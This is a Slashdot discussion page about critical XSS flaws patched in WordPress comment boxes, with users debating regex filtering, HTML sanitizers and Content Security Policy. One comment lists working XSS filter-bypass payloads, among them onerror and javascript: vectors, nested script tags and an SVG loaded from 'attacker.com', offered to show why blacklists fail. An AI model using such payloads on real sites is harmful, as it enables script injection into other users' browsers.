Catch up on stories from the past week (and beyond) at the Slashdot story archive

 



Forgot your password?
typodupeerror
×
Open Source Security IT

Critical XSS Flaws Patched In WordPress and Popular Plug-In 41

itwbennett writes The WordPress development team on Thursday released critical security updates that address an XSS vulnerability in the comment boxes of WordPress posts and pages. An attacker could exploit this flaw to create comments with malicious JavaScript code embedded in them that would get executed by the browsers of users seeing those comments. 'In the most obvious scenario the attacker leaves a comment containing the JavaScript and some links in order to put the comment in the moderation queue,' said Jouko Pynnonen, the security researcher who found the flaw.
This discussion has been archived. No new comments can be posted.

Critical XSS Flaws Patched In WordPress and Popular Plug-In

Comments Filter:
  • by GeLeTo ( 527660 )
    Sanitizing HTML input with regular expressions, what could possibly go wrong?
    • They should dump html, skip Javascript, and just jump to accepting comments written in Go.

    • by x0ra ( 1249540 )

      Do you have a better solution ?

      Editing a mixup of text & html is rather inconvenient. I used to parse a web page using sed(1) after a pre-processing with tidy, but given the difficulty to constantly adapt to change of formatting and constantly changing tag, I had to resort to use XSLT. Though, it is not a perfect solution either when the input is not properly structured. Right now, I'm extracting part of the content with good old regex, and doing the finer work with XSLT.

      • Wouldn't simply stripping out "<script" from the user input be enough?

        Like, whatever the user posted doesn't have to look properly formatted or anything, he's trying to inject malicious javascript... the Wordpress site owner will be deleting the comment as soon as it's discovered, right?
        • No, you have complex escape sequences, encoding tricks, browsers interpreting invalid HTML differently... This is much more complex than it looks.
          • by TheLink ( 130905 )

            Many of these exploits and xss-worms would not have been effective if people had implemented the suggestion I made more than a decade ago:
            http://osdir.com/ml/mozilla.se... [osdir.com]
            http://osdir.com/ml/security.w... [osdir.com]
            http://lists.w3.org/Archives/P... [w3.org]

            Plenty of people suggest libraries to sanitize stuff, but when people keep creating new "GO" buttons and never a single "STOP" button - how can you be sure you've disabled every possible "GO" button? With my proposal, a "STOP button" could even disable future yet to be inven

            • Content Security Policy (as you link) is indeed a "better" solution, in the technical sense; it's fine-grained, supports reporting, doesn't require servers to generate the random "hard_to_guess_string" needed to unlock the block, and (possibly most important) doesn't introduce a new un-XML-like construct into HTML. On the other hand, it tends to be more complicated to use it in real-world web applications, and it's so broad that a lot of browsers have either no support for it or have serious bugs in their s

        • by x0ra ( 1249540 )
          If the purpose of the XSS is to create a second admin account, all it takes is for the owner to consult the comment ...
        • by cbhacking ( 979169 ) <been_out_cruisin ... AT yahoo DOT com> on Saturday November 22, 2014 @05:14AM (#48439427) Homepage Journal

          <img src="xss" onerror="alert('Nope!')" />
          <iframe src="javascript:alert('That won't work.')"></iframe>
          <object data="http://attacker.com/SvgCanContainScriptsAndCanUseTheParentObjectToAttackTheHostingPage.svg"></object>
          <scri<scriptpt>alert("In fact, that kind of blacklisting is trivial to bypass.");</script>
          <form action="javascript:alert('I once spent a month breaking a client's blacklist every time they updated it to block my last POC exploit, telling them all the while they had to use output encoding.');"><input type="submit" value="SPOILER" /></form>
          <h1 onmouseover="alert('They eventually did, but oh man did they waste a lot of time trying variants on your suggestion first!')">REALLY BIG TEXT THAT YOUR MOUSE WILL GO OVER</h1>

          People thinking like you do frequently leads to exactly this sort of problem, where something *supposedly* has XSS protection but in fact totally doesn't. With the possible exception of the nested script tags (if you're smart enough to run the filter repeatedly until no further hits occur, that'll be caught), every single one of these lines will execute arbitrary attacker-controlled JavaScript through the filter that you propose. I strongly recommend that you go read OWASP, especially the top 10, and in the meantime I hope you haven't written any in-production web applications...

        • onLoad=(yourscrewed)

          No script tag there.

          How about if I enter scrscriptipt? When you remove "script" from the middle, you end up with - script.

          Removing stuff will pretty much never work. You have to htmlencode the output.

      • Use a proper HTML sanitizer. Yes, this is much bulkier than just throwing a regexp, but this is for a reason. Just look at the security advisories for google caja for instance: https://code.google.com/p/goog... [google.com]
        There's no way a simple regex can take care of all these cases, if WP just updated the regex - it is bound to be full of holes.
        • by x0ra ( 1249540 )
          By your standards I wouldn't trust Google Caja... there has been a lot of security vulnerabilities in the past years as well...
      • by Bigbutt ( 65939 )

        Yep. I have to approve all comments.

        [John]

    • by ls671 ( 1122017 )

      Running wp without at least a WAF in front of it, what could possibly go wrong?

  • This is an appeal to all Web site designers.

    Instead of scrambling to plug each hole, allow your users to protect themselves by browsing scriptless (and for another reason: cookieless).

    I mean: do degrade the bling-bling, but degrade *gracefully*.

    I browse scriptless (and for the most part cookieless) and from time to time stumble upon pages which turn up blank when Javascript is disabled. Those come into my blacklist (perhaps, one day I'll publish that blacklist).

    • by Anonymous Coward

      I make all my websites work without javascript first, and then add the bling bling where needed.

      In my experience, degrading gracefully is much harder to do than adding javascript functionality later. Given that you do design the javascript systems before hand and not just do an afterthought (that leads to a mess and hacking the existing code).

  • "New security updates released for the WordPress .. fix cross-site scripting (XSS) vulnerabilities that could allow attackers to take control of websites [itworld.com] ."

    Embedded javascript in a comment box could trigger exploits on Microsoft Internet Explorer running on Microsoft Windows desktops.
    • "New security updates released for the WordPress .. fix cross-site scripting (XSS) vulnerabilities that could allow attackers to take control of websites [itworld.com] ."

      Embedded javascript in a comment box could trigger exploits on Microsoft Internet Explorer running on Microsoft Windows desktops.

      Source? Or just trolling?

  • by Njovich ( 553857 ) on Saturday November 22, 2014 @06:35AM (#48439567)

    One highly underused technology is the Content Security Policy. It is supported in all major browsers, including IE10+.

    With simple headers you can prevent anyone from using inline javascript or including scripts from non-whitelisted domains. For instance, the following headers would make inline scripts not execute, and only execute javascript from the whitelisted domains:

    Content-Security-Policy: script-src 'self' www.google-analytics.com ajax.googleapis.com;
    X-Content-Security-Policy: script-src 'self' www.google-analytics.com ajax.googleapis.com;

    If projects like Wordpress would pick this up, it would make it very difficult to do XSS attacks.

  • Do you mean to tell me that running overcomplicated garbage code on 10 million websites that uses 15 divs and 3 databases to draw the word "the" on the page might be vulnerable to cross site scripting? I never would have guessed! (I'm a by-hand HTML designer by the way).

1 Mole = 007 Secret Agents

Working...